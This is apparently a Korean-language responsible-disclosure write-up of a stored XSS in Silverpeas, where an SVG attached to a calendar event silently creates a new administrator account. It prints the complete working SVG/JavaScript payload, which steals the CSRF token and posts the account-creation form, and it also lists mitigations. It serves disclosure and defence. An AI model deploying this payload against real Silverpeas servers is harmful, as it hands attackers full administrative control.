취약점을 발견한 뒤 Silverpeas 개발팀에 알리고, 논의를 거쳐 공개 동의를 받았습니다. 같은 유형의 문제를 예방하는 데 도움이 되도록 공격 과정과 대응 방법을 정리했습니다.

🎯 검증 목표

SVG의 스크립트 실행 기능을 이용해, 브라우저에서 XSS로 관리자 권한을 얻는 공격을 재현합니다. 관리자의 CSRF 방지 토큰(X-STKN)을 탈취한 뒤, 관리자 몰래 새 관리자 계정을 생성하는 방식입니다.

취약점 재현(PoC)

🧩 개요

캘린더의 일정 기능을 이용한 권한 상승 시나리오입니다. 공격자는 긴급한 일정처럼 꾸민 공개 일정에 악성 SVG 파일을 첨부하고, 관리자가 열어 보도록 유도합니다. 겉으로는 평범한 이미지가 표시되지만 SVG 내부에서는 새 관리자 계정을 만드는 코드가 실행됩니다. 관리자가 공격을 인지하지 못한 상태에서 공격자는 전체 관리 권한을 확보합니다.

🧑‍💻 재현 환경

재현에는 두 계정을 사용합니다. 관리자(Admin)는 공격 대상이며, John 계정은 공격자 역할을 맡습니다.

시나리오에 등장하는 관리자와 John 계정

📅 1단계: 새 일정 만들기

John 계정으로 로그인한 뒤, 왼쪽 메뉴의 “My Diaries”에서 새 일정을 만듭니다.

My Diaries에서 새 일정 생성

🧲 2단계: 관리자의 확인을 유도하는 제목 입력

일정 제목에는 관리자가 내용을 확인하도록 유도하는 문구를 사용합니다.

관리자의 관심을 끌기 위한 일정 제목

🔥 3단계: 관리자 초대와 악성 SVG 첨부

관리자가 쉽게 확인할 수 있도록 공개 범위를 'Public'으로, 중요도를 'High'로 설정합니다.

참석자 목록에는 관리자를 추가합니다. 이렇게 하면 공격 대상에게 일정이 직접 전달됩니다.

이어서 공격 코드를 넣은 SVG 파일을 첨부합니다.

SVG 파일의 코드와 동작 원리는 뒤에서 자세히 설명합니다.

공개 범위, 중요도, 참석자 설정과 SVG 첨부

✅ 4단계: 일정 생성 완료

“OK”를 클릭하면 일정이 생성됐다는 메시지가 표시됩니다.

캘린더에 새 일정이 등록된 것을 확인하면 공격 준비가 끝납니다.

캘린더에 등록된 일정

👀 5단계: 관리자 화면에 일정 노출

이제 관리자 계정으로 접속합니다.

로그인 직후 표시되는 시작 화면(Welcome Page)에 공격자가 만든 일정이 나타납니다.

제목과 중요도 때문에 긴급히 확인해야 할 일정처럼 보입니다. 관리자가 이를 클릭하는 상황을 가정합니다.

관리자의 환영 페이지에 표시된 일정

🖼️ 6단계: 첨부 파일 확인

일정 상세 화면에는 별다른 이상이 보이지 않습니다.

첨부된 SVG도 평범한 이미지 파일처럼 보입니다.

파일의 겉모습만으로는 위험을 알아차리기 어려워, 관리자가 의심 없이 열어 볼 수 있습니다.

일정 페이지에 첨부된 SVG 파일

💥 7단계: SVG를 열면 공격 코드 실행

관리자가 SVG 파일을 클릭하면 새 탭에서 열립니다.

화면에는 작은 초록색 삼각형만 보입니다.

화면에 보이는 것만으로는 공격이 실행됐는지 알 수 없습니다.

SVG를 열었을 때 보이는 초록색 삼각형

🎭 8단계: 관리자 모르게 계정 생성

삼각형이 표시되는 동안, 백그라운드에서는 새 계정을 만드는 요청이 처리됩니다.

사용자 목록에서 "newJohn newDoe" 계정이 생성된 것을 확인할 수 있습니다.

새로 생성된 newJohn newDoe 계정

🛑 9단계: 새 계정의 관리자 권한 확인

생성된 계정의 권한을 확인하면 관리자 권한이 부여돼 있습니다.

관리자는 평범한 이미지 파일을 열었을 뿐이지만, 그 사이 공격자는 전체 관리 권한을 확보했습니다.

새 계정에 부여된 관리자 권한

📦 공격에 사용한 SVG 코드

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript"><![CDATA[
    // Step 1: Fetch the security token script
    var tokenXhr = new XMLHttpRequest();
    tokenXhr.open("GET", window.location.origin + "/silverpeas/util/javaScript/silverpeas-tkn.js?_=000000000", true);
    tokenXhr.setRequestHeader("Cookie", document.cookie);

    tokenXhr.onreadystatechange = function () {
      if (tokenXhr.readyState === 4 && tokenXhr.status === 200) {
        // Pattern match the X-STKN token from __stampURL call
        var xstknMatch = tokenXhr.responseText.match(/__stampURL\(url,\s*'X-STKN',\s*'([^']+)'\)/);
        var xstkn = xstknMatch && xstknMatch[1] ? xstknMatch[1] : 'NjNmNTZiMDAtZGYwNC00YWQ2LTkzMGEtNTU0YTYwZjk2M2My';
        // Step 2: Fetch the displayUserCreate page to simulate context
        var getXhr = new XMLHttpRequest();
        getXhr.open("GET", window.location.origin + "/silverpeas/RjobDomainPeas/jsp/displayUserCreate?X-STKN=" + xstkn, true);
        getXhr.setRequestHeader("Cookie", document.cookie);

        getXhr.onreadystatechange = function () {
          if (getXhr.readyState === 4) { // Proceed regardless of status to attempt POST
            // Construct the desired Referer URL
            var refererUrl = window.location.origin + "/silverpeas/RjobDomainPeas/jsp/displayUserCreate?X-STKN=" + xstkn;
            // Send POST request
            var postXhr = new XMLHttpRequest();
            postXhr.open("POST", window.location.origin + "/silverpeas/RjobDomainPeas/jsp/userCreate", true);
            postXhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2");
            postXhr.setRequestHeader("Cookie", document.cookie);
            postXhr.setRequestHeader("Origin", window.location.origin);
            postXhr.setRequestHeader("Referer", refererUrl); // Attempt to set, though browser may override

            var body = '------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="Iduser"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userLastName"\r\n\r\n' +
                       'newDoe\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userFirstName"\r\n\r\n' +
                       'newJohn\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userLogin"\r\n\r\n' +
                       'fakeadmin\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userEMail"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userAccessLevel"\r\n\r\n' +
                       'ADMINISTRATOR\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userPasswordValid"\r\n\r\n' +
                       'true\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userPassword"\r\n\r\n' +
                       'password\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="userPasswordAgain"\r\n\r\n' +
                       'password\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="extraMessage"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="SelectedUserLanguage"\r\n\r\n' +
                       'en\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="SelectedUserZoneId"\r\n\r\n' +
                       'Europe/Paris\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_title"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_company"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_position"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_boss"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="user-group-select-0-groupIds"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_phone"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_homePhone"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_fax"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_cellularPhone"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="prop_address"\r\n\r\n' +
                       '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2\r\n' +
                       'Content-Disposition: form-data; name="X-STKN"\r\n\r\n' +
                       xstkn + '\r\n------geckoformboundarye2266fbb5badc9b16c8f3e4227d6a6a2--';
            postXhr.send(body);
          }
        };
        getXhr.send(); // Fetch the displayUserCreate page
      }
    };
    tokenXhr.send(); // Initiate the token fetch request
  ]]></script>
</svg>

🧨 SVG 내부 코드의 동작 원리

이 SVG는 화면에 초록색 삼각형을 그리는 동시에 JavaScript를 실행합니다. 스크립트는 관리자의 브라우저에서 요청을 보내 새 관리자 계정을 생성하며, 이 과정은 화면에 드러나지 않습니다.

코드가 실행되는 순서는 다음과 같습니다.

🪝 1단계: 보안 토큰(X-STKN) 탈취

관리자가 SVG 파일을 열면, 내부 스크립트가 다음 경로로 GET 요청을 보냅니다.

/silverpeas/util/javaScript/silverpeas-tkn.js

이 JavaScript 파일에는 CSRF 방지용 X-STKN 토큰을 설정하는 함수가 있습니다. 응답 본문에서 정규 표현식으로 토큰 값을 찾아 추출합니다.

🧩 2단계: 사용자 생성 화면에 요청

토큰을 확보하면 다음 경로로 요청을 보냅니다.

/silverpeas/RjobDomainPeas/jsp/displayUserCreate

계정을 만들기 전에 사용자 생성 화면을 먼저 여는 요청입니다. 정상적인 계정 생성 절차와 같은 순서로 요청을 보내기 위한 단계입니다.

📩 3단계: POST 요청으로 관리자 계정 생성

마지막으로 다음 엔드포인트에 사용자 생성용 POST 요청을 보냅니다.

/silverpeas/RjobDomainPeas/jsp/userCreate

요청 본문은 multipart/form-data 형식이며, 새 계정의 정보를 다음과 같이 지정합니다.

  • 이름: newJohn
  • 성: newDoe
  • 사용자명: fakeadmin
  • 접근 권한: ADMINISTRATOR
  • 비밀번호: password

이 요청에 탈취한 X-STKN 토큰을 포함하고, 정상적인 요청처럼 보이도록 Origin과 Referer 헤더를 설정하는 코드도 포함했습니다. CORS나 Referrer Policy 같은 브라우저 보호 기능이 있어도, 설정에 따라 요청이 차단되지 않을 수 있습니다. 특히 SVG가 애플리케이션과 같은 도메인에서 열리면, 신뢰할 수 있는 출처의 요청으로 처리될 수 있습니다.

🛡️ 방어를 우회하는 지점

  • 폼 전송 형식 사용: multipart/form-data로 요청을 보내 정상적인 폼 제출처럼 처리되도록 합니다.
  • CSRF 토큰 추출: 접근 가능한 JS 파일에서 정규 표현식으로 토큰을 가져와 CSRF 검증을 통과합니다.
  • 느슨한 CSP 설정: Content-Security-Policy가 없거나 스크립트를 폭넓게 허용하면, SVG 안의 인라인 스크립트도 실행될 수 있습니다.
  • 같은 출처에서 실행: SVG가 애플리케이션과 같은 출처에서 열리므로, 쿠키와 헤더가 포함된 요청이 CORS에 차단되지 않습니다.

⚠️ 위험도: 치명적(Critical)

  • 영향: 브라우저에서 실행된 공격 코드만으로 전체 관리자 권한을 얻습니다.
  • 사용자가 공격을 인지하기 어려운 이유: 일정과 SVG가 정상적으로 보이고, 공격 직후에도 화면에 눈에 띄는 변화가 없습니다.
  • 실행 조건: 관리자가 SVG 파일을 열기만 하면 됩니다. 이후에는 추가 클릭이나 조작이 필요하지 않습니다.

🧪 모의해킹 시 확인할 사항

  • 내부 캘린더나 일정 관리 시스템을 점검할 때, 다음 조건에 해당한다면 이 공격이 가능한지 확인할 필요가 있습니다.
    • 업로드한 SVG에서 스크립트 등 위험한 요소를 제거하지 않는 경우
    • 관리자 권한으로 공유 콘텐츠나 공개 콘텐츠를 열람하는 경우
    • 요청 출처를 엄격히 검증하지 않고 프런트엔드 토큰만으로 CSRF를 방어하는 경우
  • 보안 설정이 적용된 환경에서도 공격이 가능한지 확인해야 합니다. CSP, Referrer-Policy, X-Frame-Options 등의 보호 설정을 활성화한 상태에서 테스트합니다.

🛡️ 대응 방안

SVG의 스크립트 실행이 권한 상승으로 이어지지 않도록 다음 항목을 점검하고 보완해야 합니다.

🔐 1. 엄격한 콘텐츠 보안 정책(CSP) 적용

  • script-src 'self'로 인라인 스크립트를 차단하고 data:, blob:, inline을 허용하지 않습니다.
  • SVG를 application/xml이나 image/svg+xml로 열 때 스크립트가 실행되는 환경을 피하고, 파일 내부의 스크립트가 동작하지 않도록 처리합니다.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';

📁 2. SVG 업로드 제한과 위험한 코드 제거

  • SVG를 이미지로만 표시할 수 있는 경우가 아니라면 업로드를 막습니다. 예를 들어, 위험한 코드를 제거한 뒤 <img> 태그로 표시하는 방식을 고려할 수 있습니다.
  • SVG가 꼭 필요하다면 다음과 같은 라이브러리로 파일을 정제하고, 모든 <script> 태그와 onload, onclick 등의 속성을 제거합니다.

🔑 3. CSRF 방어 강화

  • 클라이언트 측 JavaScript 파일에 CSRF 방지 토큰을 노출하지 않습니다.
  • 계정 생성처럼 중요한 정보를 변경하는 요청은 서버에서 Origin과 Referer 헤더를 검증합니다.
  • CSRF 토큰을 주기적으로 교체하고, 가능하면 해당 사용자 세션이나 IP에서만 유효하도록 설정합니다.

🧾 4. 계정 생성 절차의 검증 강화

  • 계정 생성 등 중요한 작업은 서버에서 요청을 검증하고 처리 기록을 남깁니다.
  • 관리자 계정을 생성할 때는 요청 횟수를 제한하고 여러 단계의 확인 절차를 거치도록 합니다.
  • 정상적인 절차를 벗어난 계정 생성을 감시합니다. 예를 들어, 정해진 절차를 거치지 않고 관리자 계정이 만들어지면 알림을 보내도록 설정합니다.